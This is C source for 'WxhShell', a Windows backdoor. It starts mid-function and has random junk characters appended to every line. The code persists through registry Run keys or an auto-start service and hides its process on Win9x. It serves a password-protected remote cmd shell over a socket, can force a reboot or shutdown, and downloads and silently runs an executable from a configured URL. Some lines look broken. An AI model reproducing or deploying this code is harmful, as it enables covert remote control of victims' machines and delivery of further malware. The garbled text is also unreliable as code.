    else { tW94\3)1  
    closesocket(wsh); O!^ >YvOh  
    ExitThread(0); 4<Nd5T  
    } vm{8x o  
    break; 1KbZ6Msy  
    } ivn2   
  // 关机 !icI Rqcf=  
  case 'd': { s^SU6P/ ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =.&8ghJ*M  
    if(Boot(SHUTDOWN)) ]uMZvAjb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U#]J5'i  
    else { MG~Z)+g=y  
    closesocket(wsh); sW'_K.z  
    ExitThread(0); [7d(P EQL`  
    } *9uNM@7&0  
    break; ^_g%c&H  
    } Kw$@_~BJ6  
  // 获取shell :o8|P  
  case 's': { 4hLk+z<n  
    CmdShell(wsh); @/ |g|4  
    closesocket(wsh); <#4""FO*  
    ExitThread(0); -CuuO=h  
    break; 8)=(eI$  
  } </D.}ia  
  // 退出 }Hq3]LVE  
  case 'x': { LT o5v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +Ugy=678Tr  
    CloseIt(wsh); > Xh=P%  
    break; jex\5  
    } WW{_D  
  // 离开 '*65j  
  case 'q': { r5ldK?=k+*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sve} ent  
    closesocket(wsh); ZO cpF1y  
    WSACleanup(); )[J!{$&y  
    exit(1); j6RV{Lkr_  
    break; 7M7Lj0Y)L  
        } yj#FO'UY  
  } )B"{B1(  
  } T#i;=NP"  
yP"}(!~m  
  // 提示信息 dsx<ZwZN>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0C> _aj  
} _u^3uzu  
  } % &&)[  
EyVu-4L:#  
  return; ,b -  
} v]EZYEXFL)  
d/j?.\  
// shell模块句柄 p+|8(w9A${  
int CmdShell(SOCKET sock) "{qnm+G  
{ {l!{b1KJ  
STARTUPINFO si; )W p7e51  
ZeroMemory(&si,sizeof(si)); {*F =&D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +DX P &Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C]8w[)d[`;  
PROCESS_INFORMATION ProcessInfo; }A@:JR+|  
char cmdline[]="cmd"; AVw oOv J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A03io8D6  
  return 0; HVoP J!K3  
} "5<!   
;YY<KuT  
// 自身启动模式 YcX"Z~O6j=  
int StartFromService(void) 95~bM;T Vr  
{ m4oj1h_4  
typedef struct 4]tg!ks  
{ BXU0f%"8U  
  DWORD ExitStatus; h[iO'Vq  
  DWORD PebBaseAddress; iYvzZ7 8f  
  DWORD AffinityMask; %m f)BC  
  DWORD BasePriority; C.:S@{sK  
  ULONG UniqueProcessId; M^Z=~512g  
  ULONG InheritedFromUniqueProcessId; !KOa'Ic$V  
}   PROCESS_BASIC_INFORMATION; e,p*R?Y{[  
[(_,\:L${  
PROCNTQSIP NtQueryInformationProcess; ,)*[Xa_n  
aWJ BYw6{L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PkyX,mr#1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i&lW&]  
68h1Wjg:"!  
  HANDLE             hProcess; Mz(?_7  
  PROCESS_BASIC_INFORMATION pbi; zEO~mJzo  
'+{yg+#/wV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y*X.DS 1(w  
  if(NULL == hInst ) return 0; EGqu-WBS  
z-kv{y*Hu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s<#BxN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h7fytO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |3E|VGm~  
//|B?4kk  
  if (!NtQueryInformationProcess) return 0; ElpZzGj+  
x3FB`3y~s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r2+ZxMo|  
  if(!hProcess) return 0; Z T*}KJm  
b j@R[!ss  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $8U$.~v  
m-\_L=QzM  
  CloseHandle(hProcess); ^j${#Q  
F*#!hWtb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mMXDzAllB  
if(hProcess==NULL) return 0; _;5zA"~c#@  
q?mpvpL G  
HMODULE hMod; "IQYy~ /  
char procName[255]; xS%&l)dT  
unsigned long cbNeeded; IoJI|lP  
.wq j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (nmsw6 X  
8g)$%Fy+N  
  CloseHandle(hProcess); zF^H*H  
.hxFFk%5  
if(strstr(procName,"services")) return 1; // 以服务启动 v&;JVai  
6?%$e$s  
  return 0; // 注册表启动 F%$q]J[  
} K<::M3eQ  
dF 6od  
// 主模块 j*|0#q;e6  
int StartWxhshell(LPSTR lpCmdLine) Mx6 yk,  
{ =|Qxv`S1  
  SOCKET wsl; n=JV*h0  
BOOL val=TRUE; oKGF'y?A>  
  int port=0; Ru#pJb(R  
  struct sockaddr_in door; ZDzG8E0Sq  
W&cs&>F#  
  if(wscfg.ws_autoins) Install(); /~WBqcl  
%pOxt<  
port=atoi(lpCmdLine); s 7w A3|9  
bXOM=T  
if(port<=0) port=wscfg.ws_port; l$j~p=S$F  
w/ZP. B  
  WSADATA data; =to.Oa RR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U_'M9g{,<  
$v2t6wS,"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r ^*D8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B f  y  
  door.sin_family = AF_INET; hP WP6;Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2i #Ekon  
  door.sin_port = htons(port); :%AEwRZ  
dQrz+_   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K/Y"oQ2  
closesocket(wsl); J Bq6Qg  
return 1; |BhL.  
} l44QB8 9  
2{BS `f  
  if(listen(wsl,2) == INVALID_SOCKET) { )sK53O$  
closesocket(wsl); s{7bu|0  
return 1; P"}"q ![  
} ]G8"\J4 &  
  Wxhshell(wsl); F?FfRzZ[  
  WSACleanup(); EQpF:@_  
AFBWiuwI3  
return 0; ~&<vAgy,  
Crj7n/mp]s  
} ]gnEo.R  
7Q Ns q  
// 以NT服务方式启动 0Ba]Zo Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f>Ua7!b  
{ P{ %Urv{U  
DWORD   status = 0; ^^!G{ *F  
  DWORD   specificError = 0xfffffff; :eL[nyQr  
U}Puq5[ ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uJ0'`Q?6R9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nvwf!iU6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [FF}HWf  
  serviceStatus.dwWin32ExitCode     = 0; nTtEv~a_n  
  serviceStatus.dwServiceSpecificExitCode = 0; :EYUBtTj  
  serviceStatus.dwCheckPoint       = 0; n!SHExBp  
  serviceStatus.dwWaitHint       = 0; "Vl4=W)u  
4bw4!z9G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q1yXdw  
  if (hServiceStatusHandle==0) return; | X#!5u  
stW G`>X  
status = GetLastError(); s~>1TxJe  
  if (status!=NO_ERROR) aqK+ u.H  
{ #U w X~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8EdaxeDq  
    serviceStatus.dwCheckPoint       = 0; .=-a1p/  
    serviceStatus.dwWaitHint       = 0; O/#uQn}  
    serviceStatus.dwWin32ExitCode     = status; +03/A`PKrB  
    serviceStatus.dwServiceSpecificExitCode = specificError; +G"YQq'b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |w#~v%w  
    return; QT!>izgc U  
  } v{"yrC  
 R:Ih#2R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F1-C8V2H  
  serviceStatus.dwCheckPoint       = 0; u&TXN;I,p  
  serviceStatus.dwWaitHint       = 0; ^\`a-l^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,G="wI  
} [.Fq l+  
[7 r^fD A  
// 处理NT服务事件,比如:启动、停止 (G{S*+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /uR/,R++  
{ k#\j\t-  
switch(fdwControl) [S~Bt78d%r  
{ [N9yW uc  
case SERVICE_CONTROL_STOP: }f}?|&q  
  serviceStatus.dwWin32ExitCode = 0; P{QHG 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z1 ($9hE>  
  serviceStatus.dwCheckPoint   = 0; Z.Dg=>G]  
  serviceStatus.dwWaitHint     = 0; #XqCz>Z  
  { UA~ 4O Q]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aMHC+R1X  
  } %-K5sIz  
  return; +zLw%WD[l  
case SERVICE_CONTROL_PAUSE: lEHXh2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;&}z L.!jo  
  break; (jyufHm  
case SERVICE_CONTROL_CONTINUE: :HY =^$\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xw_)~Y%\  
  break; (4ZO[Ae  
case SERVICE_CONTROL_INTERROGATE: FAM:; F30  
  break; o^"OKHU,S0  
}; |sFd5X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @+p(%  
} f.aa@>  
H7Z`aQC  
// 标准应用程序主函数 { 29aNm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /#@tv~Z^  
{ kn$_X4^?  
HRM-r~2:-]  
// 获取操作系统版本 -gt ?5H h  
OsIsNt=GetOsVer(); oyk&]'>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L%\Wt1\[  
iOb7g@=  
  // 从命令行安装 0#uB[N  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qhc; Zl  
J#i7'9g  
  // 下载执行文件 _Ds,91<muQ  
if(wscfg.ws_downexe) { y`7<c5zD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6dz^%Ub  
  WinExec(wscfg.ws_filenam,SW_HIDE); W1)<!nwA  
} W+"^!p|  
0MxK+8\y  
if(!OsIsNt) { SVd@- '-K  
// 如果时win9x,隐藏进程并且设置为注册表启动 !plu;w  
HideProc(); OQ wO7Z  
StartWxhshell(lpCmdLine); O_.!qk1R  
} qAbmQ{|w  
else eu_ZsseZ  
  if(StartFromService()) ]sVWQj  
  // 以服务方式启动 I"lzOD; eI  
  StartServiceCtrlDispatcher(DispatchTable); aTeW#:m  
else ?r8hl.Z>  
  // 普通方式启动 X?< L<:.  
  StartWxhshell(lpCmdLine); Qyx~={ .C~  
@b^$h:H  
return 0; lic-68T  
} HOPy&Fp  
x@bqPZ t  
r[;d.3jtP  
X;)/<:mX  
=========================================== yx4pQL7  
g:y4C6b  
Pz:,de~5Qm  
9Sd?,z  
G![4K#~NM  
~a`  xI  
" yOKzw~;0%  
[v*q%Mi_  
#include <stdio.h> !|u?z%  
#include <string.h> |?g-8":H8P  
#include <windows.h> "gm5 DE  
#include <winsock2.h> [' pO=ho  
#include <winsvc.h> ty[p5%L1  
#include <urlmon.h> MOCcp s*  
a`f@&A`z  
#pragma comment (lib, "Ws2_32.lib") g%[:wjV;  
#pragma comment (lib, "urlmon.lib") 7'i{JPm  
z,SI  
#define MAX_USER   100 // 最大客户端连接数 2; ,8 u  
#define BUF_SOCK   200 // sock buffer &}2@pu[S?7  
#define KEY_BUFF   255 // 输入 buffer X~"p]V_  
`G`R|B  
#define REBOOT     0   // 重启 leH 7II9  
#define SHUTDOWN   1   // 关机 R0tT4V+  
6G"UXNa,  
#define DEF_PORT   5000 // 监听端口 e:'56?|  
?#Z4Dg 9|  
#define REG_LEN     16   // 注册表键长度 \ ya@9OA  
#define SVC_LEN     80   // NT服务名长度 VWHpfm[r%  
^5TVm>F@3  
// 从dll定义API q jc4IW t~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;l @lA)i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YCxwIzIR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7[qL~BT+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gSw <C+  
zixG}'  
// wxhshell配置信息 y'4Qt.1ukN  
struct WSCFG { Q/0gd? U?  
  int ws_port;         // 监听端口 9oO~UP!ag  
  char ws_passstr[REG_LEN]; // 口令 @Bhcb.kbq  
  int ws_autoins;       // 安装标记, 1=yes 0=no },JJ!3  
  char ws_regname[REG_LEN]; // 注册表键名 7/QK"0  
  char ws_svcname[REG_LEN]; // 服务名 t? 6 et1~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >jIn&s!}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =IQ}Y_xr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BYM6cp+S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { ,c*OR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kVKAG\F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z10}xqi!X  
*DfOm`m  
}; a%b E}  
W~D_+[P|_  
// default Wxhshell configuration u|Mx}  
struct WSCFG wscfg={DEF_PORT, +D]raU  
    "xuhuanlingzhe", YT(Eh3ID  
    1, C]5 kQ1Og  
    "Wxhshell", kV?fie<\)  
    "Wxhshell", #*_!Xc9f  
            "WxhShell Service", ^w~B]*A :"  
    "Wrsky Windows CmdShell Service", ?-mOAHW0q  
    "Please Input Your Password: ", \ DZ.#=d  
  1, [NO4Wzc  
  "http://www.wrsky.com/wxhshell.exe", r=Lgh#9S  
  "Wxhshell.exe" pUqC88*j  
    }; 3s%ND7!/  
OQ?N_zs,  
// 消息定义模块 &5b 3k[K"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; msfE;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M;ADL|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2y^:T'p  
char *msg_ws_ext="\n\rExit."; W>d)(  
char *msg_ws_end="\n\rQuit."; 0g|5s  
char *msg_ws_boot="\n\rReboot..."; vZTXvdF  
char *msg_ws_poff="\n\rShutdown..."; Z*mbhod  
char *msg_ws_down="\n\rSave to "; &Q?@VN i  
4l %W]'  
char *msg_ws_err="\n\rErr!"; Hh=fv~X  
char *msg_ws_ok="\n\rOK!"; S}%z0g<  
-~ ~h1  
char ExeFile[MAX_PATH]; +@3+WD  
int nUser = 0; si6CWsb_f  
HANDLE handles[MAX_USER]; yFDeY PZP  
int OsIsNt; }p2iF2g9`  
Gg9MAK\C9  
SERVICE_STATUS       serviceStatus; )< G(C,!,.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?=&S?p)-<  
XxmWj-=qO  
// 函数声明 4{zy)GE|W  
int Install(void); JJ?rVq1g  
int Uninstall(void); j;coPehB  
int DownloadFile(char *sURL, SOCKET wsh); b}0h ()v  
int Boot(int flag); OriYt  
void HideProc(void); jj]\]6@+P  
int GetOsVer(void); ;n(f?RO3X  
int Wxhshell(SOCKET wsl); Fk3(( n=  
void TalkWithClient(void *cs); qovsM M  
int CmdShell(SOCKET sock); rn*'[i?  
int StartFromService(void); NC-K`)  
int StartWxhshell(LPSTR lpCmdLine); JXU ?'@QY  
,k4pW&A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oxc;DfJ_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =+j3E<w  
;HXk'xN  
// 数据结构和表定义 0!dNW,NfJ  
SERVICE_TABLE_ENTRY DispatchTable[] = o6O-\d7^M  
{ {j>a_]dTVX  
{wscfg.ws_svcname, NTServiceMain}, BM /FOY;  
{NULL, NULL} 2n@`O g_0  
}; [//i "Nm  
VrZfjpV  
// 自我安装 ^*.$@M  
int Install(void) 23^>#b7st  
{ Q NMZR  
  char svExeFile[MAX_PATH]; <>\|hno}  
  HKEY key; `Fr ,,Q81\  
  strcpy(svExeFile,ExeFile); raPOF6-_rH  
a&8K5Z%0  
// 如果是win9x系统,修改注册表设为自启动 J Ah!#S(  
if(!OsIsNt) { diJpbR^JP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OU,FU@6,7w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LsERcjwwK  
  RegCloseKey(key); ^ l]!'"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! s =$UC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *FC8=U2\X  
  RegCloseKey(key); C 6 \  
  return 0; t(*n[7e  
    } 6Oy:5Ps8a  
  } 6;'[v}O^^  
} P knOeW"j  
else { X|hYZR  
G`0O5G:1  
// 如果是NT以上系统,安装为系统服务 q\o#<'F1J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /OztkThx=  
if (schSCManager!=0) iiq `:G  
{ E72N=7v"  
  SC_HANDLE schService = CreateService tz;o6,eb  
  ( *Sj) 9mp  
  schSCManager, u$%C`v>  
  wscfg.ws_svcname, /C!~v!;e  
  wscfg.ws_svcdisp, kb2C 9<  
  SERVICE_ALL_ACCESS, 6P _+:Mf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F-|DZ?)k5  
  SERVICE_AUTO_START, 8+oc4~!A@n  
  SERVICE_ERROR_NORMAL, 7w) 8s  
  svExeFile, Ljz)%y[s  
  NULL, 2T2<I/")O  
  NULL, !FP ]  
  NULL, u?72]?SM  
  NULL, K _VIk'RB  
  NULL <pb  
  ); _D4qnb@  
  if (schService!=0) ZSQiQ2\)  
  { Sr6'$8#>Y  
  CloseServiceHandle(schService); )?[7}(4jI  
  CloseServiceHandle(schSCManager); c2g[w;0"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q*#Lr4cm{  
  strcat(svExeFile,wscfg.ws_svcname); ON\bD?(VY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _1gNU]"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WMtFXkf6"  
  RegCloseKey(key); aF?_V!#cT  
  return 0; vf3)T;X>  
    } I(~([F2  
  } *bFWNJ}`q  
  CloseServiceHandle(schSCManager); .Bl:hk\  
} Zb1GR5MB`k  
} EX{%CPp7}  
qA7,txQ:  
return 1; L%v@|COQ3  
} y{mt *VA4  
e x Z/  
// 自我卸载 &qXobJRM  
int Uninstall(void) )b1hF  
{ QHO n?e  
  HKEY key; S&UP;oc  
_oc6=Z  
if(!OsIsNt) { 5"nq h}5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xFp$JN  
  RegDeleteValue(key,wscfg.ws_regname); $||WI}k3V  
  RegCloseKey(key); p4z4[=-:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *]yrN`  
  RegDeleteValue(key,wscfg.ws_regname); ?+hEs =Xs  
  RegCloseKey(key); 4Y59^  
  return 0; g$GGo[_0  
  } :} =lE"2  
} O/#3QK  
} 9~~NxWY%x  
else { 1<m`38'  
L-?ty@-i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x*z&#[(0g!  
if (schSCManager!=0) +C!GV.q[  
{ QYo04`Rl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :& Dv!z  
  if (schService!=0) kfas4mkc  
  { N@PwC(   
  if(DeleteService(schService)!=0) { p}pRf@(`\  
  CloseServiceHandle(schService); .S,E=  
  CloseServiceHandle(schSCManager); ,4"N7_!7  
  return 0; > .NLmzUX  
  } e+BZoK ^  
  CloseServiceHandle(schService); Z OPK  
  } I=&i &6v8G  
  CloseServiceHandle(schSCManager); +&u/R')?6r  
} PR|z -T  
} ((]i}s0S  
[(*Eg!?W=  
return 1; Y(6ev o&IR  
} P,] ./m\J  
&Pme4IHtm  
// 从指定url下载文件 ~vDa2D<9%  
int DownloadFile(char *sURL, SOCKET wsh) {c)\}s(}F  
{ BmpAH}%T  
  HRESULT hr; >U* p[FGW  
char seps[]= "/"; H}GGUE&c*  
char *token; #:BkDidt2v  
char *file; \12G,tBH  
char myURL[MAX_PATH]; Vc5>I_   
char myFILE[MAX_PATH]; ^*fD  
}d; 2[fR)  
strcpy(myURL,sURL); 'v<v6vs  
  token=strtok(myURL,seps); J(}PvkA  
  while(token!=NULL) \VhG'd3k  
  { '/qy_7O  
    file=token; d%k7n+ICQ4  
  token=strtok(NULL,seps); LGuZp?"  
  } }h Wv  p  
$Z)u04;&@  
GetCurrentDirectory(MAX_PATH,myFILE); +r"}@8/\1  
strcat(myFILE, "\\"); Szt2 "AR  
strcat(myFILE, file); $$ *tK8#  
  send(wsh,myFILE,strlen(myFILE),0); ^=^\=9" b  
send(wsh,"...",3,0); KJyCfMH&:@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zfk]Z9YO  
  if(hr==S_OK) 9Zd\6F,  
return 0; A"pQOtrm\k  
else $i+@vbU6  
return 1; dz+!yE\f$  
NUVKAAgMX  
} $)NS]wJ]3  
O0jOI3/P%  
// 系统电源模块  mhrF9&s  
int Boot(int flag) 0'6ai=W  
{ v@QnS  
  HANDLE hToken; MuMq%uDA"  
  TOKEN_PRIVILEGES tkp; &G_#=t&  
LQk^l`  
  if(OsIsNt) { LTS{[(%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P9 HKev?y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M7?ktK9`ma  
    tkp.PrivilegeCount = 1; P6kD tUXF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h=`$ec  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'i$. _Tx  
if(flag==REBOOT) { gk| % 4.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (/$-2.@  
  return 0; Y _`JS;  
} '|=Pw  
else { ?WXftzdf6u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )rP,+B?W  
  return 0; \azMF}mb  
} rM.Pc?Z  
  } _fZec+oM  
  else { 34Gu @"  
if(flag==REBOOT) { ^z!=,M<+{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kCD] &  
  return 0; # &)H&H}  
} ynM:]*~K  
else { ./;uhj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QWa@?BO2p  
  return 0; W8bp3JX"  
} DgcS@N  
} %J2Ad  
U&6A)SW,k  
return 1; (${:5W  
} ?7wcv$K5  
k^|z.$+  
// win9x进程隐藏模块 ox`Zs2-a  
void HideProc(void) ppn  8  
{ Wap4:wT  
{.kIC@^O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'gor*-o:wu  
  if ( hKernel != NULL ) ZqrS]i@$  
  { ,gNZHKNq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8y6dT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @"NP`#  
    FreeLibrary(hKernel); xltN-<n7  
  } D~ 3@v+d  
MzUKp"  
return; -4+'(3qr  
} 4+>yL+sC%v  
*cM=>3ws/  
// 获取操作系统版本 uQH]  
int GetOsVer(void) 75p9_)>96  
{ _!zc <&~I  
  OSVERSIONINFO winfo; 7"2BZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )/DN>rU  
  GetVersionEx(&winfo); 2;T?ry7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WqefH{PB  
  return 1; Uf+y$n-  
  else TYD( 6N  
  return 0; bC+Z R{M  
} |~%RSS~b*  
E8Kk )7  
// 客户端句柄模块  ij:a+T  
int Wxhshell(SOCKET wsl) 0~ nCT&V  
{ Z<>gx m<  
  SOCKET wsh; Y>aVnixx<  
  struct sockaddr_in client; U/{t "e  
  DWORD myID; J?TCP%  
Xh}q/H<  
  while(nUser<MAX_USER) sx azl]  
{ !VIxEu^ke  
  int nSize=sizeof(client); }iDRlE,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5'f_~>1Wt  
  if(wsh==INVALID_SOCKET) return 1; H0inU+Ih  
=7TWzUCO#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T rh t2Iv  
if(handles[nUser]==0) b+:mV7eX  
  closesocket(wsh); eCKm4l'BZ  
else Eh;Ia6}  
  nUser++; i_m& qy<v  
  } V0m1>{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M:OZWYQ  
<-N eusx%  
  return 0; 2m*ugBO;  
} p' ^}J$  
t)8c rX}P  
// 关闭 socket j%3 $ytf|p  
void CloseIt(SOCKET wsh) 0^Ldw)C"  
{ **__&X p1  
closesocket(wsh); bj0HAgY@  
nUser--; <H] PP6_g:  
ExitThread(0); ;DX{+Z[  
} Q (N'Oj:J  
!lzj.|7=1  
// 客户端请求句柄 "24d:vf\  
void TalkWithClient(void *cs) Ay6T*Nu`  
{ 9nQyPb6  
A4l"^dZc  
  SOCKET wsh=(SOCKET)cs; _:Q^mV=;j  
  char pwd[SVC_LEN]; b/*QV0(  
  char cmd[KEY_BUFF]; q*R~gEi#yk  
char chr[1]; )x [=}0C  
int i,j; ?z M   
|mG;?>c)  
  while (nUser < MAX_USER) { 1f^oW[w&  
,[p?u']yZz  
if(wscfg.ws_passstr) { rkS'OC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Q_xY>ej  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +e>G V61  
  //ZeroMemory(pwd,KEY_BUFF); "Vc|D (g  
      i=0; bZWR. </  
  while(i<SVC_LEN) { $/Wec,`&  
PC@H Nto{  
  // 设置超时 @Z$fEG)9  
  fd_set FdRead; ! weYOOu  
  struct timeval TimeOut; zQ<&[Tuwa  
  FD_ZERO(&FdRead); o(v`  
  FD_SET(wsh,&FdRead); Z{(Gib~{N  
  TimeOut.tv_sec=8; !^L}LtqHI  
  TimeOut.tv_usec=0; sR PQr ?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _d~GY,WTdO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n3J,`1*ct  
lbIW1z%:sy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {DvWa|  
  pwd=chr[0]; `,pBOh|'  
  if(chr[0]==0xd || chr[0]==0xa) { fU.hb%m)Q\  
  pwd=0; P/~dY  
  break; 5r8 [ "  
  } O+XQP!T  
  i++; oKSW:A  
    } $(J)F-DB i  
>oy%qLHe~t  
  // 如果是非法用户,关闭 socket )rA\+XT7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =#TQXm']Gi  
} $+e(k~  
coaJDg+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7m8:odeF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $?: -A  
RToX[R;1E  
while(1) { &C,]c#-+  
 H!y@.W{_  
  ZeroMemory(cmd,KEY_BUFF); YA8/TFu<_  
Tz& cm =  
      // 自动支持客户端 telnet标准   BI#(L={5  
  j=0; jvd3_L-@E<  
  while(j<KEY_BUFF) { 0~<t :q!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vas Q/  
  cmd[j]=chr[0]; ]]V=\.y  
  if(chr[0]==0xa || chr[0]==0xd) { q{,yas7}  
  cmd[j]=0; :1iXBG\  
  break; <9=RLENmY"  
  } (o6 u ^#6  
  j++; W#b++}S  
    } E.VEW;=  
/$vX1T  
  // 下载文件 `n|k+tsC  
